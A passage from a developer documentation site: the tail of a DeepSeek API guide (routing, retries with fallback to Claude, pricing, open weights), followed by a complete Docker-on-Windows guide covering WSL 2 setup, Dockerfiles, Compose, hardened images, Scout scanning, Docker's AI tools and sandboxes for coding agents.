  D -->|"no"| F{"Long, repeated prefix<br/>(cache-heavy) or bulk?"}
  F -->|"yes"| G["DeepSeek<br/>deepseek-flash, thinking off"]
  F -->|"no"| H["Anthropic<br/>claude-haiku-5-5"]
Task Recommended
Complex reasoning, agents, anything customer-sensitive claude-sonnet-5-5 (see anthropic/)
Bulk summarise / classify / extract on public or synthetic data deepseek-flash, reasoning_effort: "none"
Cache-heavy long-context jobs (same 100K+ prefix reused) deepseek-flash: cache hits cost $0.003–0.006/M
Step-by-step math / logic on non-sensitive data deepseek-flash at high or max first; deepseek-v4-pro only if an eval shows it wins
Fast classification of customer data claude-haiku-5-5
Strict JSON-schema output OpenAI structured outputs (open-ai/) or DeepSeek strict tools (beta)

Price reality check (2026-10): the anthropic/ guide lists claude-haiku-5-5 at $0.10 / $0.50 per M tokens for prompts up to 100K. That is at or below deepseek-flash cache-miss pricing. DeepSeek's remaining cost edge is cache-hit input ($0.003/M off-peak), very long contexts, and open weights. Benchmark cost per task on your own workload before you route volume to it.


Error handling, retries & fallback

Code Meaning Class Action
400 Invalid request body (also: missing reasoning_content with tools, required tool_choice in thinking mode) terminal Fix the request
401 Wrong API key terminal Fix DEEPSEEK_API_KEY
402 Insufficient balance terminal Top up; fall back immediately
422 Invalid parameters terminal Fix params
429 Concurrency / QPS limit reached (2,500 Flash, 500 Pro per account) transient Back off, then fall back
500 Server error transient Retry after a brief wait
503 Server overloaded transient Retry after a brief wait

finish_reason can also be insufficient_system_resource, which counts as transient. DeepSeek's own advice on 429 is to "temporarily switch to alternative LLM providers".

// lib/ai-resilient.ts
import OpenAI from "openai";
import Anthropic from "@anthropic-ai/sdk";

const deepseek = new OpenAI({
  apiKey: process.env.DEEPSEEK_API_KEY,
  baseURL: "https://api.deepseek.com",
  timeout: 60_000,
  maxRetries: 0, // we own the retry policy below
});
const anthropic = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });

const RETRYABLE = new Set([429, 500, 503]);
const MAX_RETRIES = 3;
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));

/** DeepSeek with jittered backoff on transient errors, then Claude. Non-sensitive input only. */
export async function completeWithFallback(prompt: string): Promise<string> {
  for (let attempt = 0; attempt <= MAX_RETRIES; attempt++) {
    try {
      const res = await deepseek.chat.completions.create({
        model: "deepseek-flash",
        reasoning_effort: "none",
        messages: [{ role: "user", content: prompt }],
        max_tokens: 2048,
      });
      const choice = res.choices[0];
      // DeepSeek-only finish_reason, not in the OpenAI union, hence the widening cast
      if (choice && (choice.finish_reason as string) !== "insufficient_system_resource") {
        return choice.message.content ?? "";
      }
    } catch (err) {
      const status = err instanceof OpenAI.APIError ? err.status : undefined;
      if (!status || !RETRYABLE.has(status)) break; // terminal or network/timeout -> fallback
    }
    if (attempt === MAX_RETRIES) break;
    const base = 500 * 2 ** attempt;
    await sleep(base + Math.random() * base);
  }

  const msg = await anthropic.messages.create({
    model: "claude-haiku-5-5",
    max_tokens: 2048,
    messages: [{ role: "user", content: prompt }],
  });
  return msg.content.flatMap((b) => (b.type === "text" ? [b.text] : [])).join("");
}

Cost reference

USD per 1M tokens from the pricing page, checked 2026-10-20, shown as off-peak / peak. Peak hours are 01:00–04:00 and 06:00–10:00 UTC, Monday–Friday, excluding Chinese public holidays. All other hours, including weekends and Chinese holidays, bill at the off-peak rate, which is 50% of peak.

Model Input (cache hit) Input (cache miss) Output
deepseek-flash (V4.1-Flash-1017) $0.003 / $0.006 $0.15 / $0.30 $0.60 / $1.20
deepseek-v4-pro (V4-Pro-0813) $0.022 / $0.044 $0.66 / $1.32 $1.98 / $3.96
Search API · Fetch API $0.75 per 1,000 successful requests (each)

Open weights & licence

Repo (Hugging Face deepseek-ai/) Licence Notes
DeepSeek-V4.1-Flash-1017 MIT Weights for the model behind deepseek-flash today
DeepSeek-V4.1-Flash MIT 2026-09-10 release, with tech report
DeepSeek-V4-Pro MIT 1.6T total / 49B active
DeepSeek-V4-Flash MIT 284B total / 13B active (retired from the API)

DeepSeek describes V4.1-Flash as a 552B-parameter MoE with a causal encoder–decoder design: 8B active parameters for input and 16B for output. The repo's safetensors metadata counts about 763B parameters (see NOTES.md). The weights are MIT-licensed, so commercial use, fine-tuning and redistribution are allowed as long as the copyright notice is kept. Serving them takes multi-GPU, data-centre-class hardware. Self-hosting in a US region (or using a US-hosted inference provider that serves these weights) gives you DeepSeek quality without sending data to the PRC.


Data residency & compliance (US customers)


Environment Variables

The only secret is the API key:

DEEPSEEK_API_KEY=sk-...

Non-secret settings go in code or config, not in the secrets vault:

Setting Value
OpenAI-format base URL https://api.deepseek.com
Anthropic-format base URL https://api.deepseek.com/anthropic
Beta base URL (FIM, prefix, strict tools) https://api.deepseek.com/beta
Default model deepseek-flash
Escalation model deepseek-v4-pro

Troubleshooting

Issue Fix
model not found / 400 on deepseek-chat / deepseek-reasoner Retired 2026-07-24. Use deepseek-flash.
Unexpectedly high bill or slow responses Thinking is on by default. Send reasoning_effort: "none" for bulk calls.
temperature has no effect Ignored in thinking mode. Turn thinking off first.
400 on the second tool-loop request You dropped reasoning_content. Append the full assistant message.
400 with tool_choice: "required" Not allowed in thinking mode. Use "auto" or turn thinking off.
JSON mode returns whitespace / empty Put "json" and an example shape in the prompt, set max_tokens, and retry on empty.
Image input rejected on deepseek-v4-pro Pro is text-only. Use deepseek-flash.
FIM / strict tools fail Use baseURL: "https://api.deepseek.com/beta". FIM is non-thinking only.
429 under load Account concurrency is 2,500 (Flash) / 500 (Pro). Back off, fall back, or request expansion (free).
reasoning_content is a TS error It is not in the OpenAI types. Intersect ChatCompletionMessage & { reasoning_content?: string | null }.

codeAmani notes

Official docs:

Docker (Windows) — Containers Developer Guide

Technology: docker · Category: tooling · Last reviewed: 2026-08-30

Source: https://tech-stack.codeamanilabs.org/guide/docker

Insight:

On Windows, "Docker" means Docker Desktop running on the WSL 2 backend — the Linux containers you ship to Cloud Run / Render build against a real Linux kernel (the same one WSL2 runs), so dev/prod parity is built in. The single rule that governs your speed mirrors WSL's: keep the project on the Linux filesystem (~/code, not /mnt/c). A bind-mounted build on /mnt/c crosses the OS boundary on every file op and crawls; the same build from ~/code runs at native speed. Enable WSL integration once, run the docker CLI from inside your distro, and you have the exact container toolchain production uses. In 2026 Docker is also an AI-native platform: hardened base images that ship with SLSA L3 provenance, a local model runtime, a containerised MCP catalog, and microVM sandboxes that run Claude Code with no access to your host.

██████╗  ██████╗  ██████╗██╗  ██╗███████╗██████╗
██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██║  ██║██║   ██║██║     █████╔╝ █████╗  ██████╔╝
██║  ██║██║   ██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
██████╔╝╚██████╔╝╚██████╗██║  ██╗███████╗██║  ██║
╚═════╝  ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

Docker (Windows) — Containers Developer Guide

Focus: Everything a developer needs to run Docker on Windows 11 — install Docker Desktop on the WSL 2 backend, the filesystem rule that decides your build speed, the core CLI, writing a multi-stage Dockerfile, Docker Compose, volumes & bind mounts (incl. the Windows path gotchas), docker init, base-image choice (Hub rate limits vs Docker Hardened Images), scanning with docker scout, Docker's AI stack (Model Runner, MCP Toolkit, Offload), Docker Sandboxes for running coding agents isolated, and driving it all with Claude Code inside WSL. Grounded in docs.docker.com; reviewed 2026-08-30 against Docker Engine 29.7.2 (2026-08-05) / Docker Desktop 4.88.1 (2026-08-25) / Compose v5.5.0 (2026-08-17).

Containers solve "works on my machine" by shipping the app and its environment as one immutable image. On Windows the whole thing rides on WSL 2 — Docker Desktop runs the Linux engine inside the same lightweight VM WSL uses, so the images you build locally are byte-for-byte the Linux images you deploy. Get the install + the one filesystem rule right and you have production parity on your laptop. Let's dive in.

Table of Contents

  1. Overview & architecture
  2. Install Docker Desktop on Windows
  3. The WSL 2 backend & the filesystem rule
  4. Core CLI quickstart
  5. Images & the Dockerfile
  6. Docker Compose
  7. Volumes & bind mounts (Windows gotchas)
  8. Networking & ports
  9. docker init — scaffold in one command
  10. Base images: Hub limits & Docker Hardened Images
  11. Scan images for CVEs — docker scout
  12. Docker's AI stack — Model Runner, MCP Toolkit, Offload
  13. Docker Sandboxes — run coding agents isolated
  14. Claude Code + Docker
  15. Troubleshooting
  16. codeAmani notes

The interactive learn module above this page is a live container-vs-image + Dockerfile-layer explainer — start there for intuition, then use this reference.


Official Documentation

Resource URL
Install Docker Desktop on Windows https://docs.docker.com/desktop/setup/install/windows-install/
Docker Desktop WSL 2 backend https://docs.docker.com/desktop/features/wsl/
Get started / workshop https://docs.docker.com/get-started/
docker CLI reference https://docs.docker.com/reference/cli/docker/
Compose (overview + file ref) https://docs.docker.com/compose/
Dockerfile reference https://docs.docker.com/reference/dockerfile/
Build best practices https://docs.docker.com/build/building/best-practices/
BuildKit (the default builder) https://docs.docker.com/build/buildkit/
Docker Scout (image CVE scanning) https://docs.docker.com/scout/
Docker Hardened Images (DHI) https://docs.docker.com/dhi/
Docker Model Runner https://docs.docker.com/ai/model-runner/
MCP Catalog & Toolkit https://docs.docker.com/ai/mcp-catalog-and-toolkit/
Docker Sandboxes (sbx) https://docs.docker.com/ai/sandboxes/
Docker Hub usage & rate limits https://docs.docker.com/docker-hub/usage/

1. Overview & architecture

Two words decide everything: image and container.

On Windows, the Docker engine (the daemon that builds images and runs containers) does not run on Windows directly — it runs inside the WSL 2 Linux VM. Docker Desktop is the control plane (GUI, settings, the docker CLI shim) that talks to that engine. Here's the whole stack:

flowchart TB
  subgraph WIN["Windows host"]
    DD["Docker Desktop · GUI + settings"]
    CLI["docker CLI (PowerShell / WSL)"]
  end
  subgraph VM["WSL 2 · lightweight utility VM · real Linux kernel"]
    ENG["dockerd — the engine"]
    subgraph CTRS["Containers"]
      C1["web :3000"]
      C2["postgres :5432"]
      C3["redis :6379"]
    end
    ENG --> C1
    ENG --> C2
    ENG --> C3
  end
  DD -->|manages| ENG
  CLI -->|API| ENG

Why this matters: the containers run on a genuine Linux kernel — the same kernel family as your production hosts (Cloud Run, Render, a Linux VM). There is no translation layer faking Linux; an image that runs here runs there. That's the dev/prod parity payoff.


2. Install Docker Desktop on Windows

System requirements (WSL 2 backend):

Install — download Docker Desktop Installer.exe from docs.docker.com/desktop/setup/install/windows-install/, then either double-click it or run from a terminal:

# All-users install (run the terminal as Administrator)
Start-Process -Wait -FilePath ".\Docker Desktop Installer.exe" -ArgumentList "install"

# Per-user install (no admin) — installs only for the current user
Start-Process -Wait -FilePath ".\Docker Desktop Installer.exe" -ArgumentList "install","--user"

The installer enables the WSL 2 feature for you if it's missing. After install, launch Docker Desktop once and accept the service agreement. The whale icon in the system tray = engine running.

Turn on the WSL 2 engine + per-distro integration (usually on by default):

Docker Desktop → Settings
  → General   → ✅ Use WSL 2 based engine
  → Resources → WSL integration → ✅ Enable integration with my default WSL distro
                                 → ✅ <your distro, e.g. Ubuntu>

Then, inside your WSL distro, confirm the CLI is wired up:

docker version          # client + server (engine) both report
docker run --rm hello-world

If a distro is still on WSL 1, convert it: wsl --set-version <distro> 2.

Keep it current. Docker Desktop is on a fast cadence (4.88.1, 2026-08-25 at the time of review) and Engine patches carry real CVE fixes — 29.7.0 shipped a fix for CVE-2026-17106, and 29.6.x cleared a set of BuildKit findings including a command-injection issue in git checkout. Update from the GUI, or:

docker desktop update check
docker desktop update install

3. The WSL 2 backend & the filesystem rule

Docker on Windows inherits WSL's #1 performance rule — for the same reason (the OS boundary). See the WSL guide for the full story.

flowchart LR
  LFS["Linux fs: ~/code  · FAST"]
  MNT["/mnt/c: Windows C: · slow across boundary"]
  B["docker build / bind mount"]
  B -->|"from ~/code"| LFS
  B -->|"from /mnt/c — 2–20× slower I/O"| MNT

✅ Keep your repo in the Linux filesystem (/home/you/code/...), not /mnt/c. A docker build or a bind-mounted dev server reads thousands of small files; on /mnt/c every read crosses the Windows↔Linux boundary and the build crawls. From ~/code it runs at native speed.

# Right: clone into the Linux fs, build from there
mkdir -p ~/code && cd ~/code
git clone https://github.com/codeamani-solutions/your-repo.git
cd your-repo
docker build -t your-repo .       # fast — files are local to the engine

Bonus: WSL 2 lets multiple distros share one Docker engine, and Docker Desktop manages the VM's resources for you (caps live in %UserProfile%\.wslconfig, e.g. [wsl2] memory=8GB).


4. Core CLI quickstart

The verbs you'll use every day. Run them from inside WSL (or PowerShell — both reach the same engine):

# Images
docker pull node:22-alpine          # fetch an image from Docker Hub
docker images                       # list local images
docker build -t myapp:dev .         # build an image from ./Dockerfile, tag it

# Containers
docker run -d --name web -p 3000:3000 myapp:dev   # run detached, publish a port
docker ps                           # running containers  (-a = include stopped)
docker logs -f web                  # tail a container's logs
docker exec -it web sh              # shell into a running container
docker stop web && docker rm web    # stop + remove

# Housekeeping
docker system df                    # disk used by images/containers/volumes
docker system prune -f              # reclaim space (dangling images, stopped ctrs)
docker system prune -af --volumes   # aggressive: also unused images + volumes
Command Does
docker run [-d] [-p host:ctr] [-e K=V] IMG Create + start a container
docker ps [-a] List running (or all) containers
docker build -t name:tag . Build an image from the Dockerfile in .
docker exec -it <ctr> sh Open a shell inside a running container
docker logs -f <ctr> Stream logs
docker compose up -d Bring up the whole stack (see §6)
docker pull/push <ref> Pull from / push to a registry (Docker Hub)
docker system prune Reclaim disk from unused objects

5. Images & the Dockerfile

A Dockerfile is the recipe. The big lever for small, fast, secure images is multi-stage builds: compile in a fat stage, copy only the artifacts into a lean final stage. Here's a production-grade Next.js example:

# syntax=docker/dockerfile:1
FROM node:22-alpine AS base
WORKDIR /app

# deps — install once, cache by lockfile
FROM base AS deps
COPY package*.json ./
RUN npm ci

# dev — hot-reload target used by Compose in development
FROM base AS dev
ENV NODE_ENV=development
COPY --from=deps /app/node_modules ./node_modules
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]

# build — produce the production bundle
FROM base AS build
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build

# runner — lean, non-root, only the built output
FROM base AS runner
ENV NODE_ENV=production
COPY --from=deps /app/node_modules ./node_modules
COPY --from=build /app/.next ./.next
COPY --from=build /app/public ./public
EXPOSE 3000
# HEALTHCHECK lets the engine (and Compose depends_on: condition) know the app is live.
# busybox wget ships in -alpine; no extra package needed.
HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
  CMD wget -qO- http://127.0.0.1:3000/ || exit 1
USER node
CMD ["npm", "start"]

BuildKit is the default builder for Docker Desktop and Docker Engine — the # syntax=docker/dockerfile:1 line opts into its latest frontend, enabling parallel stages, cache mounts (RUN --mount=type=cache), and build secrets (--mount=type=secret, §12). docker buildx is the extended build CLI on top of BuildKit for multi-platform (--platform linux/amd64,linux/arm64) and named builders. (Only Windows containers fall back to the legacy builder — not relevant here, since the WSL 2 backend builds Linux images.)

Always pair it with a .dockerignore so junk never enters the build context (faster builds, smaller images, fewer secret leaks):

node_modules
.git
.next
npm-debug.log
.env*
Dockerfile
.dockerignore

Layer-caching rule of thumb: order from least- to most-frequently-changed. Copy package*.json and npm ci before COPY . ., so editing source code doesn't bust the dependency layer.

flowchart LR
  A["FROM node:22-alpine"] --> B["COPY package*.json"]
  B --> C["RUN npm ci  ← cached unless lockfile changes"]
  C --> D["COPY . .  ← busts on any source edit"]
  D --> E["RUN npm run build"]

BuildKit flags worth knowing

The # syntax=docker/dockerfile:1 line pins the latest stable frontend, so these are available without extra config:

Flag Since What it buys you
RUN --mount=type=cache,target=... v1.2 Persist a package-manager cache across builds — npm/pip/apt stop re-downloading
RUN --mount=type=secret,id=... v1.2 Read a secret during build without baking it into a layer
RUN --mount=type=bind,from=... v1.2 Read files from another stage/context without a COPY layer
RUN --mount=type=ssh v1.2 Use the host SSH agent for private-repo git clone
ADD --checksum=sha256:... v1.6 Verify a remote download — pin it or don't trust it
COPY --exclude=... v1.19 Skip paths inside a COPY without touching .dockerignore
COPY --parents v1.20 Preserve the source directory structure when copying globs
# syntax=docker/dockerfile:1
FROM node:22-alpine AS deps
WORKDIR /app
COPY package*.json ./
# Cache mount: node_modules downloads survive between builds; the cache is NOT a layer.
RUN --mount=type=cache,target=/root/.npm npm ci

FROM deps AS build
COPY . .
# Build secret: available at /run/secrets/npm_token for THIS instruction only.
# Nothing is written to the image, so nothing leaks when the image is pushed.
RUN --mount=type=secret,id=npm_token     NPM_TOKEN=$(cat /run/secrets/npm_token) npm run build
# Pass the secret from a file or an env var — never as a build ARG.
docker build --secret id=npm_token,src=./npm_token.txt -t myapp:dev .
docker build --secret id=npm_token,env=NPM_TOKEN     -t myapp:dev .

ARG and ENV are not secret. Both are recorded in the image's build history — docker history prints them back. A token passed as --build-arg is a published token. Use --mount=type=secret for build-time credentials, and --env-file (§7) for run-time ones.


6. Docker Compose

Compose declares a multi-container stack in one compose.yaml and brings it up with a single command — perfect for "app + Postgres + Redis" local dev. The target: line ties a service to a Dockerfile stage (§5):

No top-level version: key. It's obsolete — the Compose spec treats it as informational only and warns if you use it (docker compose always validates against the latest schema). Start the file at services:. docker init and the examples here already omit it; don't add it back.

# compose.yaml   ← no `version:` key (obsolete)
services:
  web:
    build:
      context: .
      target: dev          # use the hot-reload stage from the Dockerfile
    ports:
      - "3000:3000"
    env_file:
      - .env.local         # never committed — see codeAmani notes
    depends_on:
      db:
        condition: service_healthy   # wait for Postgres to pass its healthcheck
    pre_start:             # init containers — run to completion BEFORE web starts
      - command: ["npm", "run", "db:migrate"]
    develop:
      watch:               # rebuild/sync on file changes
        - action: sync
          path: .
          target: /app
          initial_sync: true         # seed the container before watching
          ignore:
            - node_modules/
        - action: rebuild
          path: package.json

  db:
    image: postgres:17-alpine
    environment:
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password
    volumes:
      - dbdata:/var/lib/postgresql/data
    ports:
      - "127.0.0.1:5432:5432"        # loopback only — keep the dev DB off the LAN
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 10s
      timeout: 5s
      retries: 5

volumes:
  dbdata:
docker compose up -d          # build + start the stack in the background
docker compose watch          # live-sync/rebuild as you edit (modern dev loop)
docker compose logs -f web    # tail one service
docker compose ps             # what's running
docker compose down           # stop + remove containers + network
docker compose down -v        # ...and delete named volumes (wipes the DB)

Inside the Compose network, services reach each other by service name — the web app connects to Postgres at db:5432, not localhost. localhost inside a container is the container itself.

docker compose (space), not docker-compose (hyphen). Compose is now a Docker CLI plugin (the docker compose subcommand, currently v5.5.0, bundled with Docker Desktop). The old standalone Python docker-compose v1 reached end of life in 2024 and was removed in 2025 — if a script still calls the hyphenated form it's running unmaintained software. Convert docker-compose … → docker compose ….

Init containers: pre_start

pre_start runs one or more ephemeral containers to completion before the service's own container starts — and only after its depends_on conditions are satisfied. That is exactly the shape of "migrate the database, then boot the app", which previously needed an entrypoint wrapper or a hand-rolled wait-for-it script:

services:
  web:
    build: .
    depends_on:
      db:
        condition: service_healthy
    pre_start:
      - command: ["npm", "run", "db:migrate"]   # runs in the service's own image
      - image: busybox                          # ...or a different one
        command: sh -c 'chown -R 1000:1000 /data'
    volumes:
      - data:/data

There is a matching post_start (and pre_stop), but those run inside the already-running container, not as separate ephemeral ones — use pre_start for anything that must finish before the app accepts traffic.

Ordering trap: depends_on: condition: service_started only waits for the container to exist. A Postgres container exists long before it accepts connections. Use condition: service_healthy with a real healthcheck: (as in the file above) or your migration step races the database on a cold start.


7. Volumes & bind mounts (Windows gotchas)

Containers are ephemeral — their writable layer dies with them. Two ways to persist or share data:

Type Syntax Use for
Named volume --mount type=volume,src=dbdata,target=/var/lib/postgresql/data Databases, anything the engine should own
Bind mount --mount type=bind,src="$(pwd)",target=/app Live-editing source during dev
# Dev loop: bind-mount the source so edits reflect instantly
docker run -dp 127.0.0.1:3000:3000 \
  -w /app --mount type=bind,src="$(pwd)",target=/app \
  node:22-alpine sh -c "npm install && npm run dev"

Windows-specific gotchas:


8. Networking & ports

-p host:container publishes a container port to the host. With Docker Desktop's WSL 2 backend, published ports are reachable at localhost from both Windows and WSL — so a container on -p 3000:3000 opens in your Windows browser at http://localhost:3000.

docker run -d -p 8080:80 nginx            # nginx :80 → http://localhost:8080
docker run -d -p 127.0.0.1:5432:5432 postgres:17   # bind to loopback only (safer)

Bind to 127.0.0.1 for anything with data. -p 5432:5432 listens on all interfaces; -p 127.0.0.1:5432:5432 keeps your dev Postgres off the LAN. Compose services talk over their private network by name (db:5432) and only need a published port when you (the host) connect.


9. docker init — scaffold in one command

Don't hand-write the first Dockerfile. docker init detects your stack (Node, Python, Go, Rust, PHP, …) and generates a sensible Dockerfile, compose.yaml, .dockerignore, and README.Docker.md:

cd ~/code/your-repo
docker init            # answers a few prompts, writes the four files
docker compose up      # run what it scaffolded

Supported platforms: ASP.NET Core, Go, Java (Maven/uber-jar), Node, PHP with Apache, Python, Rust, plus an Other general-purpose template.

It's the fastest way to a working baseline; then tune the multi-stage Dockerfile (§5) and Compose file (§6) to taste.


10. Base images: Hub limits & Docker Hardened Images

Your base image decides two things you feel later: how many CVEs you inherit on day one, and whether CI can even pull it.

Docker Hub pull rate limits

Pulls are metered, and the anonymous tier is small enough that one busy CI runner blows through it:

Who is pulling Limit (per 6 hours)
Unauthenticated 100 — per IPv4 address or IPv6 /64 subnet
Authenticated personal account (free) 200
Pro / Team / Business Unlimited

The trap is the shared address: every anonymous pull from one cloud CI runner or one office NAT draws on the same 100. A 429 Too Many Requests in the middle of a build is almost always this, not a Docker outage. Authenticate in CI and the problem disappears:

echo "$DOCKERHUB_TOKEN" | docker login -u "$DOCKERHUB_USER" --password-stdin

Docker itself needs no application credentials — the only variables are the optional registry logins, set as CI secrets (GitHub Actions / Vercel), never committed:

DOCKERHUB_USER=your-docker-id
DOCKERHUB_TOKEN=dckr_pat_...        # a read-only access token, NOT your password

Use a scoped access token, not your account password: tokens are revocable individually and can be read-only, which is all a CI pull needs.

Docker Hardened Images (dhi.io)

Docker Hardened Images are minimal, production-ready images maintained by Docker and published to their own registry, dhi.io. The catalog is free for community use under Apache 2.0; paid tiers add SLA-backed patching and FIPS/STIG/ELS variants. What you get per image:

That last line is why this matters to us specifically: codeAmani's supply-chain policy already targets SLSA Build L3 for anything we ship (see CLAUDE.md). Starting from a base that already carries L3 provenance means the only provenance you have to generate is your own layer.

docker login dhi.io                 # a free Docker account is enough
docker pull dhi.io/node:24-debian13
docker pull dhi.io/python:3.13
docker run --rm dhi.io/python:3.13 python -c "print('hello from DHI')"

Docker's own before/after on the Python image: 91% smaller (35 MB vs 412 MB) and 87% fewer packages (80 vs 610), clearing 1 high / 5 medium / 141 low findings.

The catch — and it is the whole point. Hardened images deliberately omit tooling you may expect. On a distroless runtime variant there is no shell, so docker exec -it <ctr> sh fails and a RUN step that shells out breaks. That is the attack surface being gone, not a bug. Build in the -dev variant, ship the runtime one:

# syntax=docker/dockerfile:1
FROM dhi.io/node:24-debian13-dev AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM dhi.io/node:24-debian13 AS runner    # runtime variant: no shell, no npm
WORKDIR /app
COPY --from=build /app/.next ./.next
COPY --from=build /app/node_modules ./node_modules
COPY --from=build /app/public ./public
EXPOSE 3000
USER nonroot
CMD ["node_modules/.bin/next", "start"]

Note the CMD is an exec-form call to a real binary. CMD ["npm", "start"] would need a shell in some images; on a distroless base, call the binary directly.


11. Scan images for CVEs — docker scout

Before an image ships, scan it. Docker Scout builds an SBOM (software bill of materials) from your image's layers and matches every package against a continuously updated vulnerability database — so you catch a known-vulnerable base image or transitive dependency before it's deployed, not after.

docker build -t myapp:dev .
docker scout quickview myapp:dev     # one-line summary: how many CVEs, by severity
docker scout cves myapp:dev          # the full list — package, CVE id, fixed-in version
docker scout recommendations myapp:dev   # suggested base-image bumps that clear CVEs

quickview is the fast gate; cves is the detail when it flags something; recommendations often points at a newer -alpine/-slim base tag that clears the finding. Scout is built into Docker Desktop and the CLI — no separate install.

Beyond the three above, the subcommands you actually reach for:

Command Does
docker scout quickview <img> One-line severity summary — the fast CI gate
docker scout cves <img> Full finding list: package, CVE id, fixed-in version
docker scout recommendations <img> Base-image bumps that clear findings
docker scout sbom <img> Generate/print the image's SBOM
docker scout compare <a> --to <b> Diff two images/tags (experimental)
docker scout vex / attestation Manage VEX statements and in-toto attestations
docker scout policy <img> Evaluate local Rego policies against an image (experimental)

Scanning ≠ provenance. Scout tells you what's inside an image and whether it's vulnerable; SLSA provenance (see codeAmani notes) proves how and where the image was built. Shipped container images want both — they complement each other, neither replaces the other.


12. Docker's AI stack — Model Runner, MCP Toolkit, Offload

Three products that turn Docker from "the thing that runs my Postgres" into part of the AI toolchain. All three ship with Docker Desktop.

Docker Model Runner — local models, OpenAI-compatible

docker model pulls models from Docker Hub or Hugging Face as OCI artifacts and serves them behind an OpenAI- and Ollama-compatible API. The mental model is docker run, but the thing you run is a model:

docker model pull    ai/qwen2.5-coder        # from Docker Hub or Hugging Face
docker model run     ai/qwen2.5-coder "Summarise this changelog"
docker model list                            # what's pulled locally
docker model ps                              # what's running
docker model status                          # is the runner up?
docker model configure --context-size 8192 ai/qwen2.5-coder
docker model df                              # disk used by models
docker model unload                          # free the VRAM

Because the endpoint is OpenAI-shaped, an existing openai client points at it by changing only the base URL — no separate SDK.

Compose integration. A model can be a declared dependency of your stack, so docker compose up starts the model alongside the app. The top-level models: element declares it; the service references it and Compose injects the endpoint:

services:
  app:
    build: .
    models:
      my_model:
        endpoint_var: MODEL_URL      # Compose sets MODEL_URL in the container

models:
  my_model:
    model: ai/gemma3:4B-Q4_0
    context_size: 10000
    runtime_flags:
      - "--a-flag"

With the short syntax (models: [my_model]) Compose injects a derived variable instead; the long syntax above lets you name it.

Windows GPU requirements. On AMD64 you need an NVIDIA GPU with driver 576.57 or later. On ARM64 it runs via OpenCL on Qualcomm Adreno (6xx series and later), where some llama.cpp features may not be fully supported. Without a supported GPU, expect CPU inference speeds.

Docker MCP Catalog & Toolkit — MCP servers as containers

The MCP Catalog is a curated set of 300+ verified MCP servers packaged as container images; the MCP Toolkit (a Docker Desktop tab) runs them and exposes them to MCP clients through a gateway. The payoff is that an MCP server's dependencies live in a container instead of on your machine, and you configure the set once rather than per client.

Three concepts: Catalogs (what is available), Profiles (named groups of servers, e.g. web-dev), and Clients (Claude Code, Claude Desktop, VS Code, Cursor...) that connect through the gateway.

# Connect a client to a profile's servers
docker mcp client connect vscode --profile my_profile

For Claude Desktop, Docker Desktop's MCP Toolkit -> Clients tab has a one-click Connect; restart the client afterwards. Note the enterprise MCP Gateway under Docker AI Governance is an invite-only feature — the Toolkit itself is not.

This is an alternative delivery mechanism for MCP servers, not a replacement for our own wiring. codeAmani's servers are configured directly in MASTER_MCP_CONFIG.md; reach for the Toolkit when you want a third-party server without installing its runtime on the host.

Docker Offload — borrow a bigger machine

Docker Offload is a managed service that runs builds and containers in Docker's cloud using the same CLI you already use, then streams results back. It exists for the cases where local hardware is the blocker: a machine that cannot nest virtualization, a VDI environment, or a build that wants more cores than you own. Availability depends on your Docker subscription — check the Offload docs before designing around it.


13. Docker Sandboxes — run coding agents isolated

Docker Sandboxes run an AI coding agent inside a microVM: its own kernel, its own filesystem, its own network stack, and its own private Docker daemon. The agent can install packages, rewrite configs, and start containers, and your host is untouched. Claude Code is a natively supported agent.

The CLI is sbx — note it is not docker sandbox, and it needs neither Docker Desktop nor Docker Engine installed.

# Windows 11 — install and authenticate
winget install -h Docker.sbx
sbx login
sbx run claude      # launch Claude Code inside a fresh sandbox

Windows gotcha — this one does not ride on WSL 2. Unlike everything else in this guide, sbx needs Windows 11 with the Windows Hypervisor Platform feature enabled (it runs its own microVM). If sbx cannot start a sandbox on a machine where Docker Desktop works fine, this is why — enable the feature and reboot. macOS needs Sonoma 14+ on Apple silicon; Linux needs Ubuntu 24.04+ with KVM.

The sbx CLI is free to use, including for commercial work. Network access is governed by configurable allow/deny lists, which is the point: an agent running unsupervised should not be able to reach arbitrary hosts.

When it earns its keep: letting an agent run a risky migration, a dependency upgrade, or an untrusted build without staking your host on it. Compare with the WSL Ubuntu sandbox, which gives a disposable distro — cheaper and already on your machine, but sharing the host kernel and your Docker daemon. sbx is the stronger boundary; the WSL sandbox is the lighter one.


14. Claude Code + Docker

Docker pairs naturally with running Claude Code inside WSL — same Linux toolchain, same engine.

# Inside WSL, in your repo on the Linux fs
claude
# Then, in the session:
#   "Add a multi-stage Dockerfile + compose.yaml for this Next.js app"
#   "Why is my docker build slow?"  → it'll spot a /mnt/c repo or a missing .dockerignore
#   "docker compose up and verify the app serves on :3000"

Why it clicks:

Let Claude run builds in containers when a task needs a clean room, but keep the repo on ~/code (the §3 rule) so the build context is fast.

Three levels of isolation, cheapest first — pick by how much you trust the task:

Level What it is Blast radius
docker run --rm a throwaway container One process, shared kernel + your daemon The container
WSL Ubuntu sandbox A disposable distro you can export/import That distro
sbx run claude (§13) microVM: own kernel, own Docker daemon, network policy The sandbox

Unsupervised or untrusted work belongs at the bottom row. Routine "build this and run the tests" is fine at the top.


15. Troubleshooting

Symptom Fix
docker: command not found in WSL Settings → Resources → WSL integration → enable your distro; reopen the shell
Engine won't start / "Docker Desktop stopped" Confirm virtualization is on in BIOS; wsl --update; restart Docker Desktop
docker build is painfully slow Repo is on /mnt/c — move it to ~/code; add a .dockerignore
Bind mount empty / not updating (Git Bash) Use -w //app (double slash) or run from WSL/PowerShell; for hot-reload use compose watch
Port already allocated Another process owns it — change the host port (-p 3001:3000) or stop the other container
Container can't reach another service Use the service name (db:5432), not localhost, inside the Compose network
the attribute version is obsolete on compose up Delete the top-level version: key from compose.yaml — it's informational only now
docker-compose: command not found Use docker compose (space) — the v1 hyphenated binary is EOL/removed
